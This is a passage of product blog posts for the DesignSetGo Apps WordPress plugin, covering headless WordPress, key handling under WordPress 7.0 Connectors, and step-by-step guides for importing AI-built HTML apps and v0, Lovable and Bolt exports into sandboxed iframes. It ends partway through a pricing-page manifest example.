A pattern worth flagging, which you’ll see in discussions of headless WordPress on Reddit, in agency retrospectives, and in conference talks from teams who’ve lived with these builds: the observation isn’t that the headless build was bad, it’s that the cost-to-value ratio over time was wrong, and what teams actually wanted was a polished WordPress site. The version of “polished WordPress site” that has a really modern front-end is now what DSGo Apps is for.

If those projects were starting today, many of them would be DSGo. The Astro template, root mounted, fetching from the WP REST API at view time, with the editor team doing whatever they do in wp-admin and not noticing the front-end is anything special. Faster to ship. Cheaper to maintain. Same end-user experience.

#### The unifying observation

Architectural fashion in our industry has a tendency to put walls between things, then sell us tools to build bridges across the walls. Microservices. Service meshes. Edge functions. Distributed monoliths. Each one has its place. Each one is also frequently overdeployed against problems that didn’t actually need walls in the first place.

Headless WordPress is, to me, an example of a wall that mostly didn’t need to be there. The original arguments for it (“WordPress is a bad front-end framework,” “the editor experience is best decoupled from rendering”) were once true and have been less true every year, especially since the block editor matured and especially since WP 7.0’s Connectors and AI Client made WordPress a viable platform for AI features. The architectural cost of headless is large; the engineering benefit is shrinking.

DSGo is a bet that the right answer for most sites is to keep WordPress as the platform, build the front-end you want as a static bundle, and use a thin permissioned bridge to span the small remaining gap. That’s not a revolutionary idea. It’s just a different stance on whether the wall is worth building.

#### Where to go next

- The [Astro on WordPress post](https://designsetgo.dev/blog/astro-on-wordpress/) for the concrete walkthrough of “build it as Astro, ship it as a DSGo App.”

- The [iframe-vs-inline post](https://designsetgo.dev/blog/iframe-vs-inline-picking-the-right-isolation-mode/) for what the runtime modes actually do.

Nealey

### Why we don’t hold your API keys (and why every other AI WordPress plugin should worry about that)

URL: https://designsetgo.dev/blog/why-we-dont-hold-your-api-keys/
Published: 2026-05-07 · Nealey

I want to write the post I wish someone had written for me when I started this. Three things in particular: the architecture matters more than I thought, the consequences keep widening once you see them, and a lot of WordPress AI plugins built in 2024-2025 are sitting on top of an architecture that’s about to look obviously wrong. Some of those plugins will be fine; their authors will adapt. Some of them won’t, and their customers won’t quite understand why their service got worse one month and gone the next.

Here’s the version of all this I have now.

#### The old shape

For most of 2024 and into 2025, the standard “AI plugin for WordPress” architecture went like this:

- The plugin author sets up a service that holds an Anthropic / OpenAI / Google API key. The user installs the plugin and connects it to the author’s service.

- (Or, in the BYOK variant: the user pastes their own key into a settings field, and the plugin stores it in the WP database. The plugin proxies the request through the author’s service, which sees the key on the way through.)

- The plugin proxies user requests to the model provider, billing the user a subscription that wraps the inference cost plus margin.

- The plugin’s “value” is the system prompts and UX wrapped around the model.

This worked, well enough that the category became a real one. Until WordPress 7.0.

#### What 7.0 changed

WordPress 7.0 (May 2026) shipped three Core APIs that, taken together, removed the architectural floor underneath that whole shape:

- **Connectors API.** Site admins configure their AI provider once at `Settings → Connectors`. Every plugin using WP AI Client inherits the configuration.

- **WP AI Client.** A provider-agnostic PHP API for calling the model. `wp_ai_client_prompt()` routes through the active Connector.

- **Abilities API.** A standardized way for plugins to register callable functions for the site’s AI agent.

The shorter version: WordPress now does the boring infrastructure work that AI plugins used to charge for. Configure once, use everywhere. This is the same pattern WordPress used for SMTP a decade ago: `wp_mail()` is the abstraction, the user picks an SMTP plugin once, every form plugin that calls `wp_mail` inherits it. Email plugins didn’t disappear; they just stopped having to be everyone’s mailer-of-record.

#### The two consequences

**Consequence one: the plugin author no longer needs to hold keys.**

DesignSetGo Apps doesn’t. Apps that need AI features call `dsgo.ai.prompt()`, which calls `wp_ai_client_prompt()` underneath, which routes through whatever Connector the site admin configured. We don’t see a key. We don’t store a key. We don’t proxy a request through any of our own infrastructure. The site admin pays the provider directly; we charge a subscription for orchestration (the harness: system prompts, tools, validators, registry).

This makes our margin structurally cleaner: roughly 98% of subscription revenue, because we never touch metered cost. That isn’t clever pricing on our part. It’s what falls out of building on top of WP 7.0 instead of around it. We didn’t have to be smart; we had to read the dev notes and align ourselves with the platform.

**Consequence two: the proxy architecture is now legally exposed.**

The original shape (“plugin author proxies user requests through their own service, charging a subscription markup”) has a problem most authors hand-waved past. Anthropic’s commercial terms of service explicitly prohibit reselling API access. OpenAI’s terms have similar language. Google’s are stricter than either. The plugin author who set up a proxy was running an architecture that:

- Looked, technically, a lot like reselling API access.

- Made the plugin author the merchant of record for inference, with whatever VAT/sales tax/payment-processor implications that brings.

- Required the plugin author to absorb the financial risk when a user’s bill spiked unexpectedly (a runaway prompt, a malicious crawler, a customer’s bot loop).

- Made the plugin author the support contact when the model returned bad output, even though the model wasn’t theirs.

Most plugin authors hand-waved this and hoped it never became a problem. Anthropic, OpenAI, and Google mostly didn’t enforce, because the plugin authors weren’t material to revenue. As long as the upstream providers were focused on capturing direct enterprise customers, a few WordPress plugins reselling API access were not worth a lawyer’s time.

After 7.0, the architectural justification for the proxy goes away. The user can run their own Connector. They don’t need a proxy. The plugin author’s only reason to keep the proxy is the subscription revenue it generates, which is now exposed as exactly what it always was: a commercial markup on resold API access. The legal exposure didn’t change; what changed is that the commercial necessity disappeared. Which makes enforcement, when it comes, harder to dispute. “We had to proxy because there was no alternative” was always thin; “we had to proxy because we wanted to charge a markup” is thinner.

I don’t know when, or whether, Anthropic or OpenAI will tighten enforcement on this. I do know that “the upstream provider could decide our entire revenue model violates their ToS” is a structurally bad place for a plugin author to be, and the architecture that puts you there got cheaper to avoid the day 7.0 shipped.

#### What we did instead

DSGo Apps is built on top of `wp_ai_client_prompt()`. Specifically:

- The bridge surfaces `dsgo.ai.prompt()` as a method any DSGo App can call.

- Behind the bridge, the plugin calls `wp_ai_client_prompt()` with the app’s prompt.

- WP AI Client routes the call through the site admin’s configured Connector.

- The response comes back to the bridge, which returns it to the app.

We don’t see the prompt. We don’t see the response. We don’t store either. (That last part is by design; we wanted to be able to truthfully say “we don’t have it” if anyone asks.)

What we charge for is the harness: the system prompts, the tools, the validator that catches bad model output, the autofix that retries with corrections, the critic that flags hallucinations, the registry of vetted tool definitions. None of that touches the API call itself. All of it is value layered over an inference call the user is already making.

The economics work because we’re not paying for inference. The user’s subscription is pure margin minus the operational cost of running a SaaS, which is small. Our customer-acquisition costs are real, our development costs are real, our support costs are real, but inference is not a line item, and that changes the math. Most of the AI-tooling industry is sustaining margin against rising inference costs; we don’t have that pressure.

#### What this means for plugin authors

If you build an AI WordPress plugin, here are the questions I’d ask yourself, in priority order:

**1. Do you hold any user’s API key?** If yes, plan to drop it. The Connectors API removes the user’s reason to give it to you, and storing a key is liability you don’t need. Even if you encrypt at rest, even if you scope it carefully, even if your security review is clean: the key being in your database means it’s a potential incident. Not having it is strictly better.

**2. Do you proxy LLM calls through your own service?** If yes, plan to drop the proxy. Switch to `wp_ai_client_prompt()`. Your only architectural reason to keep the proxy is “we want to charge a markup on inference,” and the upstream providers’ ToS makes that a structurally weak position.

**3. Do you require a paid tier to access AI features?** That’s fine, but the gating rationale shifts. Pre-7.0, you could honestly say “we charge for AI because inference costs money.” Post-7.0, the user is paying inference directly to their provider; your charge is for the orchestration layer (prompts, tools, UX). If your orchestration layer is thin, your subscription is exposed. The customer can self-evaluate “what is the plugin doing that I couldn’t do with a raw model call?” and the answer better be substantive.

**4. Is your differentiation “we figured out how to call OpenAI for you?”** That moat just evaporated. Find the next layer up: vertical-specific prompts, integrations with other plugins via the Abilities API, a UX nobody else has, anything that isn’t “we configured an SDK.” Vertical packs (a set of prompts and tools tuned for a specific industry) are probably the highest-leverage place to invest, because they don’t compete with WP Core; they sit on top of it.

#### What we’d change if we started over

Honest reflection. We made a few bets early that look good now but didn’t have to.

We chose iframe-first isolation. That meant our bridge surface had to be carefully designed from day one, because we couldn’t fall back to “the app has access to the WP runtime.” Painful at the time; it forced the permission model that’s now the most defensible part of the product.

We resisted holding API keys even before WP 7.0 was finalized. The whole BYOK-through-proxy architecture was tempting; it’s the obvious early-monetization path. We decided we didn’t want to be in the API-resale business and let the WP-Connectors path catch up to us. That path was the right one in the end.

We made the plugin free and built revenue around the harness layer. The plugin’s value compounds with every site it’s on, and the harness is what compounds with every subscription. Charging for both would have suppressed the install curve without meaningfully changing the revenue.

#### Where to go next

- The [WP 7.0 changes post](https://designsetgo.dev/blog/wordpress-7-changed-what-a-plugin-can-be/) for the architectural primer.

- The [pricing & business-model doc](https://designsetgo.dev/pricing) for the full pricing thinking.

- The [defensibility-strategy doc](https://designsetgo.dev/how-it-works) for what we think the moat actually is.

The next post in this calendar covers DSGo vs headless WordPress, which is a different architectural conversation but ends up at a similar conclusion: the platform you’re trying to glue onto is the platform you should run inside.

Nealey

### How to put an AI-built app on your WordPress site (no code, no CLI, 5 minutes)

URL: https://designsetgo.dev/blog/the-five-minute-i-have-an-html-file-path/
Published: 2026-05-06 · Nealey

If you built an app in Claude (or ChatGPT, Lovable, v0, Bolt) and you want to put it on your WordPress site without code, terminal, or a developer, this is the path. Save your AI-built app as a single HTML file, drop it into the DesignSetGo Apps importer in wp-admin, and the app loads at `yoursite.com/apps/your-slug/` in about five minutes. Sandboxed inside an iframe with a strict Content Security Policy, no plugin file edits, no Vercel account, no FTP.

Most posts in this calendar assume you’re a developer. This one doesn’t.

If you have an HTML file on your laptop and a WordPress site with DesignSetGo Apps installed, you can have that file running on your site in five minutes without writing a line of code. No CLI. No Claude Code. No build step. Just an upload form, a checkbox, and a URL at the end.

This is the version of the tutorial we’d hand to a marketing director who has a tool and wants it on the site. If you’re reading this and thinking “I am that person,” this is the right post for you. Skip the developer-flavored ones; you don’t need them.

#### Step 0: install the plugin

Once. WordPress admin, **Plugins → Add new**, search for “DesignSetGo Apps,” install, activate. The plugin is free.

If you’re already past this step, skip ahead.

#### Step 1: open the importer

In wp-admin sidebar, click **DesignSetGo Apps**, then **Add new**. The page shows two upload paths:

- **Upload an HTML file.** For a single self-contained `.html` file. This is the fast path most people want.

- **Upload a bundle (.zip).** For multi-file bundles (`index.html` plus separate CSS, JS, images, additional routes). Pick this only if your tool came as multiple files.

Pick the first one for now. Drop your HTML file into the file picker.

#### Step 2: name it

The importer auto-fills two fields:

- **App name.** Defaults to whatever’s in your file’s `<title>` tag, or the filename if there is no title.

- **Slug.** Defaults to a URL-safe version of the filename. This becomes the `/apps/{slug}/` URL.

Edit either if you want. Slug is the only one you can’t easily change later (changing it breaks any links pointing at the old URL), so think about it for a beat. A few examples:

- File `Tip Calculator.html` produces slug `tip-calculator`. URL: `yoursite.com/apps/tip-calculator/`.

- File `pomodoro-with-sound.html` produces slug `pomodoro-with-sound`. URL: `yoursite.com/apps/pomodoro-with-sound/`.

- File `index.html` (the kind of name a download might default to) produces slug `index`, which is fine but not memorable. Rename it before uploading, or override the slug in the form.

#### Step 3: review the install dialog

The dialog tells you what permissions the app is asking for. For a generic HTML file with no `<script>` references to external services, the dialog reads:

> This app does not request any permissions.

For a file that includes a third-party CDN script, the dialog reads:

> This app loads code from a third-party CDN: cdn.jsdelivr.net.

The dialog is generated from the manifest. The manifest is generated from the file. There’s no hand-curated “trust this app” claim; the dialog is mechanical disclosure.

If the dialog mentions a CDN you don’t recognize, that’s worth pausing on. Most CDNs (cdnjs, jsdelivr, unpkg) are widely used and benign, but they are still third-party trust decisions. If you’re not sure why your file pulls from one, ask whoever made it.

#### Step 4: approve

Click Install. The plugin:

- Validates the file against the v1 manifest schema.

- Creates the app in your site’s database.

- Wraps it in the iframe runtime.

- Generates the URL.

This takes about two seconds.

#### Step 5: visit the URL

The dialog confirms with a link: `https://yoursite.com/apps/your-slug/`. Click it. The app loads inside the runtime. From the visitor’s perspective it is identical to the file you uploaded; from the security perspective it is sandboxed inside an iframe with a strict Content Security Policy.

That’s the whole flow. You’re done.

#### What HTML files this works for

The single-file importer handles any self-contained HTML file. That includes:

- Claude Artifacts saved as HTML.

- ChatGPT canvas exports.

- Old “I built this in 2019” tools you have lying around.

- Hand-coded calculators and one-pagers.

- HTML mockups your designer sent you.

- Documentation snippets that should be live pages on your site.

- Internal tools your team built in a hackathon and never deployed.

- Games (any single-file HTML game from the itch.io “html5” tag, for instance).

It doesn’t handle:

- Multi-file bundles. (Use the `.zip` upload instead.)

- React/Vue/Angular component source files. (Build them to HTML first.)

- HTML files that depend on local assets (`./images/foo.png`) the importer can’t resolve. (Either inline them as data URIs, or zip them up as a bundle.)

- Files that try to write to a server. (DSGo Apps run client-side. If your file expects a backend, the backend has to live somewhere.)

#### Where things sometimes go sideways

A short list of issues people hit, and what to do:

**The page loads blank.** Usually means the file’s JavaScript references absolute paths (`/css/style.css`, `/js/app.js`) that worked on its original host but don’t resolve inside the iframe. Open the browser’s devtools (right-click, Inspect, Console tab) and look for 404 errors in red. If you see them, the file needs to be zipped together with the missing assets and uploaded as a bundle, or the absolute paths need to be replaced with relative ones (`./css/style.css`).

**The page shows a console error about CSP.** Usually means the file has an inline event handler (`<button onclick="...">`) that the strict CSP blocks. Move the handler to a `<script>` block at the bottom of the file (`document.getElementById('btn').addEventListener('click', ...)`). If you don’t know how to do that, this is the moment to ask a developer or paste the error into Claude.

**The page reaches an external service that fails.** The CSP blocks third-party connections unless they’re declared in the manifest. If the file calls `fetch('https://api.example.com/data')`, you’ll need to add `api.example.com` to the manifest’s external origins, then re-upload. The first install creates the manifest with no origins; the second adds them. You edit the manifest in the DSGo admin page on the app’s settings tab.

**The styles look off.** If the file inherits from a parent stylesheet (Tailwind via CDN, an external font), and the import didn’t list the CDN, the styles fail to load. Two options: vendor the styles into the bundle (paste them inline), or add the CDN origin to the manifest.

#### When you’d reach for the bundle path instead

The `.zip` uploader is the right call when:

- The HTML file references separate `.css`, `.js`, or asset files in adjacent folders.

- The app is multi-page (multiple HTML files, each one a route).

- You want to declare the manifest yourself (extra fields, custom permissions, dataset routes).

For a single-file artifact, the single-file path is faster. For anything more complex, the `.zip` path gives you control.

#### A note on what this is NOT

A few things people sometimes expect that the importer doesn’t do:

- **It doesn’t make your file faster.** The runtime is fast (the iframe is essentially a thin wrapper), but if your file is slow on your laptop, it’ll be slow inside the runtime too.

- **It doesn’t add features.** What you upload is what runs. The bridge can be added by editing the bundle, but the importer doesn’t inject it.

- **It doesn’t auto-update.** Each upload is a snapshot. If you change the source file, you re-upload to update.

- **It doesn’t promise the file will outlive the site.** If your WordPress site goes down, the imported app goes with it. The app is part of the site, not a separate thing.

#### Why we built this

A short product-rationale paragraph. The CLI path (Claude Code, build step, deploy command) is the right path for developers who are going to iterate. The single-file uploader is the right path for everyone else: site owners with a one-shot artifact, designers with a static mockup, marketing teams with a Codepen-shaped tool. The audience for the CLI is real, but the audience for the file uploader is bigger, and it’s the audience that doesn’t have a fallback for “where do I put this?”

If you’ve been sitting on an HTML file you’ve never quite known what to do with, this is the way to put it on your site without thinking about it. Five minutes, three clicks, one URL.

#### Where to go next

- The [Claude Artifacts post](https://designsetgo.dev/blog/drop-a-claude-artifact-onto-your-wordpress-site/) for the most common origin of “I have this HTML file.”

- The [v0/Lovable/Bolt post](https://designsetgo.dev/blog/take-a-v0-lovable-bolt-export/) for vibe-coding platform exports.

- The [Claude Code tutorial](https://designsetgo.dev/blog/build-a-wordpress-app-with-claude-code/) for when you want to iterate.

### Take a v0, Lovable, or Bolt export and put it on your domain

URL: https://designsetgo.dev/blog/take-a-v0-lovable-bolt-export/
Published: 2026-05-06 · Nealey

The Claude Artifacts case is the simple one: one HTML file, paste it in, done. v0, Lovable, and Bolt export differently, and each one has its own quirks. This post is the platform-by-platform import guide for the harder cases. None of them are blockers; all of them are predictable once you know what to expect.

The pattern that motivates each of these imports is the same: a tool built on a vibe-coding platform that works beautifully in the platform’s preview but never gets a permanent home on the site of the person who needs it. Someone builds a “find your perfect plant” quiz in Lovable for a content site, the Lovable app pulls from a Supabase table, the auth is wrong-shaped for the WordPress audience, and a couple of hours of trying to bridge the two worlds ends with “just link out to the Lovable URL.” Which becomes a link that gets clicked roughly never, because it’s not on the site’s domain and nobody remembers to link to it. The build was great; the home was nowhere.

#### v0 by Vercel

v0 outputs React components, by default targeting a Next.js project. You can’t paste a single React component into the DSGo importer; it expects HTML.

Two paths:

**Build the v0 project to static HTML.** Run `npm run build && npm run export` in the v0-generated Next.js project. The result is a `out/` directory of static HTML files. Zip that directory, hand it to the DSGo importer’s bundle uploader (not the single-file uploader), and the importer treats each `out/<route>.html` as a route in your manifest.

**Use v0’s “view source” download.** v0’s editor has a “download as HTML” option for components that don’t depend on Next.js features. The output is a single HTML file with the component pre-rendered and inline styles. That goes through the single-HTML importer the same way a Claude Artifact does.

Quirks worth knowing:

- **v0 components often pull in Tailwind via a CDN script tag.** The importer detects this and flags it in the install dialog as “this app loads code from a third-party CDN.” You can either approve and accept the dependency, or vendor Tailwind into the bundle. For a one-shot tool, vendoring is overkill; for an app you’ll keep, vendor. CDN dependencies tend to outlive their CDNs.

- **v0 sometimes references images via Vercel’s image-optimization endpoint** (`https://...vercel.app/_next/image?url=...`). Those won’t resolve once the bundle is on your site. Replace them with relative `<img src>` references to images you include in the bundle, or with data URIs.

- **v0’s icon imports** (`lucide-react`, `@heroicons/react`) compile to inline SVGs in the export. They survive. If your version uses a different icon library, make sure it’s compiled-in and not loaded at runtime.

#### Lovable

Lovable builds full app-shaped projects (auth, database, UI, sometimes AI integrations) on top of Supabase. The “deploy to DSGo” path is narrower: only the static-frontend half makes sense. Lovable’s “export project” gives you a Vite-built project; `npm run build` produces a `dist/` directory.

Zip the `dist/` directory, upload as a bundle, and the importer wires it up. The Supabase calls Lovable made in the original app become a question: do you want the DSGo App to talk to the same Supabase, or do you want to swap the data layer to the bridge?

If you keep the Supabase backend, declare it in `runtime.external_origins`:

```
"runtime": {
  "external_origins": ["https://your-project.supabase.co"]
}
```

The CSP allowlists the origin. The site owner sees “this app talks to your-project.supabase.co” in the install dialog, which is the truth. Lovable apps frequently store user data in Supabase; if you’d rather keep that data inside WordPress, you’d swap each `supabase.from(...)` call for a `dsgo.posts.list()` or `dsgo.storage.user.set()` call. That’s a meaningful refactor, not a copy-paste; budget it accordingly.

The honest answer: if the Lovable app’s value is “it has a database,” the DSGo runtime can’t replicate Supabase’s full surface in v1. Use the import for the front-end and keep Supabase for the data layer until v1.x lands more bridge methods. The friend’s plant quiz could have lived on his domain that way; the database stays in Supabase, the front-end is a DSGo App, and the install dialog discloses both. Better than the standalone Lovable URL he ended up with.

#### Bolt

Bolt’s exports are the closest to “drop in and go.” Bolt projects build to static `dist/` directories with no server-side dependencies; what you see in Bolt’s preview is what you get in the export.

Workflow:

```
# In the Bolt project after exporting:
npm install
npm run build
cd dist
zip -r ../bolt-app.zip .
```

Upload `bolt-app.zip` via the bundle importer. The manifest auto-generates with the routes Bolt produced as the `routes` array. View source on each route after import; you’ll see real HTML.

Quirks:

- **Bolt apps that use Vite’s hot-reload module split** tend to ship with absolute asset paths assuming the app is served at `/`. If your DSGo App is at `/apps/my-bolt-app/`, the asset paths break. Two fixes:

Set `base: '/apps/my-bolt-app/'` in `vite.config.js` before building. Vite rewrites the asset paths to match.

- Or set the manifest’s `mount.mode` to `"root"` (one app per site, mounts at `/`). The asset paths now work because the app actually is at `/`. Root mount is the right call for “the app IS the site”; it’s overkill for a single tool.

- **Bolt apps frequently inline a chat-with-Bolt widget** in the bottom-right. Strip it before exporting; it pings Bolt’s servers and confuses the install dialog. Bolt’s export options usually have a “production build” toggle that drops the widget; turn it on.

- **Bolt’s preview environment is more permissive than your runtime.** If a feature works in the Bolt preview but not in the import, the most common cause is a CSP violation: an inline event handler, a `style="..."` with `eval`-shaped expressions, a third-party iframe. Open the browser console; CSP violations log there with the exact directive that blocked the call.

#### Generic patterns that work for all of them

A few rules of thumb that apply regardless of which platform produced the bundle:

**Vendor your CDN dependencies.** If the export pulls Tailwind, React, or anything else from a CDN script tag, replace those with bundled copies. The bundle’s a `.zip`; including 50kb of vendored code instead of a 200kb CDN script is fine. Self-contained bundles are easier to audit and don’t trigger the install-dialog warning about external CDNs. Self-containment is also resilience: a CDN can disappear, change its URL structure, or rate-limit you.

**Strip platform-specific UI chrome.** v0’s “edit in v0” button, Lovable’s chat overlay, Bolt’s “made with Bolt” badge: all of these reach back to their origin platform’s APIs and don’t survive the import. Remove them from the source before exporting, or remove them from the rendered HTML before zipping.

**Set the base path correctly.** If your build tool has a base-path setting (Vite’s `base`, Astro’s `base`, Next.js’s `basePath`), set it to match the URL the DSGo App will mount at. Most exports default to `/` and break when mounted at `/apps/my-app/`.

**Test the bundle locally before deploying.** Open the bundle’s `index.html` in a browser via `file://`. If it works there, it’ll work in the DSGo iframe. If it fails there with a CORS or asset-path error, fix that before importing. The DSGo runtime is not a magic environment.

**The install dialog tells the truth.** If the dialog flags external origins, third-party CDNs, or commerce endpoints, those activations come from manifest declarations the importer derived from the bundle. If something looks wrong, the manifest is wrong. The runtime is reading the same fields the dialog renders.

#### When the export isn’t worth importing

Sometimes the right call is to start over in a DSGo App scaffold instead of importing. Cases I’d skip the import:

- **The export is a SaaS-shaped multi-page app with auth and a database.** v0/Lovable/Bolt can target that; the import surface can’t yet reproduce all of it. Either pick a smaller subset to import, or rebuild the front-end inside `npx designsetgo apps init` and use the bridge for data.

- **The export is heavy on platform-specific helpers** (Vercel’s `next/image`, Supabase’s Edge Functions). Those don’t resolve outside their original platform. Plan to swap them.

- **The export is in a framework that requires server-side rendering** (Next.js with dynamic routes, SvelteKit’s adapter targets). The DSGo App runtime serves static bundles; SSR-only frameworks need to be exported to static first, which not every framework supports cleanly.

In all those cases, the right call is “use the export as a design reference and rebuild the relevant subset using the DSGo starter.” That’s harder than an import but smaller than the original engagement, because the design and the logic are already done.

#### The general lesson

Vibe-coding platforms are great at *building* the thing. They’re less great at *deploying* the thing somewhere it’ll have a permanent home. DSGo Apps adds the deployment story without changing what the platforms are good at. You build in v0 or Lovable or Bolt because those are good at building. You export, import, and run on your WordPress site because that’s where the app should live.

The bigger version of this argument is in the [DSGo vs Bolt/Lovable/v0 post](https://designsetgo.dev/blog/dsgo-vs-bolt-lovable-v0/), which is a positioning piece rather than a tutorial. This one is just the import recipes.

Nealey

### Drop a Claude Artifact onto your WordPress site in three clicks

URL: https://designsetgo.dev/blog/drop-a-claude-artifact-onto-your-wordpress-site/
Published: 2026-05-05 · Nealey

https://youtu.be/nEe-gaGdZVI

There’s a workflow most Claude users run into eventually. You ask Claude for a tool: a budget tracker, a meal planner, a pomodoro timer, a tip calculator, a markdown-to-PDF utility. The artifact loads in the conversation. It works. The styling is thoughtful, the interactions are tight, and for the next thirty minutes it lives inside the chat.

Then what?

The realistic answer for most artifacts: they live for a week as a bookmarked `claude.ai/share/...` URL and then disappear. Sometimes you rebuild the thing months later when you need it again. Sometimes you forget you made it at all. The URL works, but it has no home in your actual life, so it falls out of attention.

That’s the wasted-artifact problem. Claude wrote code. The code does the thing. But the code is homeless, and homeless code disappears.

The DesignSetGo Apps importer is the smallest possible fix. Save the artifact as an HTML file. Upload it. Get a URL on your own domain. The artifact is now an `/apps/{slug}` page that has all the WordPress-side benefits (your hosting, your domain, your sitemap if you want, your auth if the artifact uses it) without you having to do anything special.

This post is the three-click walkthrough.

#### Step 1: save the artifact as HTML

In Claude, when an artifact is open, the Artifact panel has a ”…” menu. One of the options is “Copy as HTML” or “Download.” Pick whichever you prefer; the result is a single self-contained `.html` file with inline styles, inline scripts, and all the assets baked in.

If the artifact references external CDN assets (an icon font, a charting library, a Tailwind script tag), they stay external; the importer doesn’t try to fetch them. If the artifact has loose `<img src="...">` references to images that are part of the artifact, you’ll need to inline them as data URIs first, or zip the file together with its assets and upload as a bundle. Most Claude artifacts are already self-contained because Claude tends to inline what it generates, but it’s worth checking.

#### Step 2: open the importer

In wp-admin, go to **DesignSetGo Apps → Add new → Upload an HTML file**. The importer is one input box and a slug field.

Drop the `.html` file in. The importer:

- Reads the file.

- Generates a `dsgo-app.json` manifest based on what it sees: title comes from `<title>`, slug comes from the filename (you can edit), isolation defaults to iframe, no permissions requested.

- Wraps the file as a single-entry bundle.

- Validates the bundle against the v1 manifest schema.

- Shows you the install dialog.

The whole process takes about three seconds. The longest part is whatever amount of time you spend deciding the slug.

#### Step 3: approve and visit

The install dialog tells you what permissions the imported app is asking for. For a Claude artifact, the answer is almost always “none.” Claude artifacts are pure client-side code; they don’t ask the bridge for anything. The dialog reads:

> This app does not request any permissions.

Which is the most reassuring possible install dialog and accurate.

The exception: if your artifact uses an external CDN (a chart library from cdnjs, jsdelivr, or unpkg), the importer detects the `<script src>` tag during parsing and adds the origin to `runtime.external_origins` in the generated manifest. The dialog then includes an “External services” bucket listing the CDN. That’s the truth: the artifact loads code from a third party, and you should know.

Approve. The app installs. You get a URL: `https://yoursite.com/apps/your-slug/`. Click it. The artifact runs. From the visitor’s perspective it’s the same artifact, on a URL they can actually share.

#### What the importer is doing under the hood

A short version, for the curious:

- It parses the HTML and looks for a `<title>` to use as the app name. Falls back to the filename if missing.

- It looks for a `<meta name="description">` and uses that as the description.

- It scans for `<script src>` and `<link href>` references to external origins. If any are found, the importer adds them to `runtime.external_origins` so the install dialog discloses them. If they’re CDN-shaped (cdnjs, jsdelivr, unpkg), the importer flags them in the dialog as “this app loads code from a third-party CDN.”

- It infers `isolation: "iframe"` by default. Iframe is always safe for a static HTML artifact. If you wanted inline mode for SEO, you’d switch the manifest after importing.

- It does not modify the artifact’s HTML, JS, or CSS. The file inside the bundle is byte-identical to the file you uploaded. If the artifact does X locally, it does X identically inside the runtime.

That last point is worth restating. The importer doesn’t transform your artifact. It wraps it in a manifest and validates the wrapper. If something works on your laptop opened with `file://`, it’ll work in the iframe. If it fails on your laptop with a CORS error or a missing asset, it’ll fail the same way once imported. Test locally first; the iframe is not a magic environment.

#### Why this is the casual on-ramp

A short comparison:

PathTimeKnowledge requiredBuild the artifact, deploy to Vercel30 minutesVercel account, DNS, domain, CLIBuild the artifact, embed via iframe in a WP page10 minutesVercel still needed; WP iframe oEmbed quirksBuild the artifact, paste into a custom HTML block in a WP post5 minutesThe artifact’s CSS bleeds into the rest of the postBuild the artifact, save as `.html`, upload via the DSGo importer90 secondsNone

The DSGo importer is faster than every other path *and* the only one that gives the artifact its own real URL inside a sandboxed runtime. The artifact’s CSS doesn’t bleed into the rest of the site; the artifact’s JS doesn’t conflict with other plugins; the artifact has its own page in the site’s nav if you want to put it there.

#### Things to know

A few honest sharp edges:

- **External CDN scripts trigger the dialog warning.** If your artifact loads jQuery from cdnjs (Claude artifacts sometimes do, especially older ones), the install dialog calls that out. You can approve anyway; the runtime allows it via `runtime.external_origins`. But the warning is correct: a third-party CDN is a third-party trust decision.

- **Artifacts that try to do `fetch()` to claude.ai itself won’t work.** Claude artifacts generally don’t do that, but if one does, the bridge’s same-origin enforcement blocks the call. Solution: rebuild the artifact without that dependency, or approve the origin in the manifest after import (not always possible if claude.ai’s CORS policy doesn’t allow your origin).

- **Some Claude UI elements use APIs only Claude provides** (the Artifact frame’s history scroll, share UI, Claude’s own console). Those don’t survive the export, because they’re part of claude.ai, not part of the artifact. The artifact’s actual content does survive.

- **Multi-file artifacts (an HTML file referencing a separate `.js` and `.css`) need to be zipped first** and uploaded as a bundle. The importer’s “single HTML” path is for self-contained files only. Most Claude artifacts are single HTML; longer projects are bundle-shaped.

#### When the CLI is the right call instead

If you’re a developer and you’re going to iterate on the artifact, the CLI is faster. `npx designsetgo apps init` scaffolds a starter, you `cp` the artifact’s HTML in, you make changes locally, you `deploy`. Each iteration is one command; the artifact’s URL stays the same across deploys.

The importer is for “I have this thing, I want it on my site, I am done.” The CLI is for “I have this thing, I want to keep working on it.” Both end up at the same URL with the same runtime; pick the one that matches what you intend to do next with the artifact. The [Claude Code tutorial](https://designsetgo.dev/blog/build-a-wordpress-app-with-claude-code/) walks through the CLI path end-to-end.

#### The bigger pattern

The artifacts you make tend to be useful in proportion to how easy they are to reach. A tool you’d open once a week becomes a tool you open never if the URL is unmemorable. A tool you’d share with one other person becomes a tool you share with nobody if the share-link is `claude.ai/share/abc123def456`.

Putting the artifact at `https://yoursite.com/apps/your-slug/` reverses both of those. The URL is short, your domain is part of your existing memory, and the link is shareable to people who don’t have a Claude account. Some artifacts deserve that promotion; some don’t. The importer makes it cheap enough that you can promote any artifact that you suspect might survive a week.

#### Where to go next

- The [Claude Code tutorial](https://designsetgo.dev/blog/build-a-wordpress-app-with-claude-code/) for the iterative-development path.

- The [v0 / Lovable / Bolt importer post](https://designsetgo.dev/blog/take-a-v0-lovable-bolt-export/) for non-Claude artifacts.

- The [permission buckets post](https://designsetgo.dev/blog/permission-buckets-the-install-dialog-that-doesnt-lie/) for what the install dialog is doing under the hood.

Nealey

### Build a pricing page with WP-backed plan data

URL: https://designsetgo.dev/blog/build-a-pricing-page/
Published: 2026-05-05 · Nealey

Pricing pages are the quintessential “developer wrote it once, marketing wants to change it daily” surface. The CTA copy needs tweaking. The plan names need adjusting. The footnotes need updates whenever legal weighs in. If the page is in code, every change is a git commit and a deploy. If the page is in WordPress, it ends up in some shortcode-driven theme template that nobody can read or, worse, in a page builder that turns the page source into 30,000 characters of div soup.

The inline-mode plus dynamic-route combination splits the difference. The page is a real WordPress URL; Google indexes it, the theme can wrap it, your CTA bug fixes are commits. But the plan rows themselves come from a `pricing-plan` custom post type the editor can edit in wp-admin without touching code.

This post starts from examples/pricing-page, which is the static version, and walks through the WP-backed extension on top.

#### The starter manifest

```
{
  "manifest_version": 1,
  "id": "pricing",
  "name": "Pricing",
  "description": "Inline-mode example: an interactive plan comparison rendered as a real WP page (theme-wrapped, indexable).",
  "version": "0.1.2",
  "entry": "index.html",
  "isolation": "inline",
  "display": { "modes": ["page"], "default": "page" },
  "routes": [
    {
      "path": "/",
      "file": "index.html",
      "title": "Pricing",
      "description": "Per-site licensing for DesignSetGo Apps."
    }
  ],
  "theme": { "wrap": "none" },
  "permissions": { "read": [], "write": [] },
  "runtime": {
    "sandbox": "strict",
    "csp": {
      "script_src": ["self"],
      "style_src": ["self"],
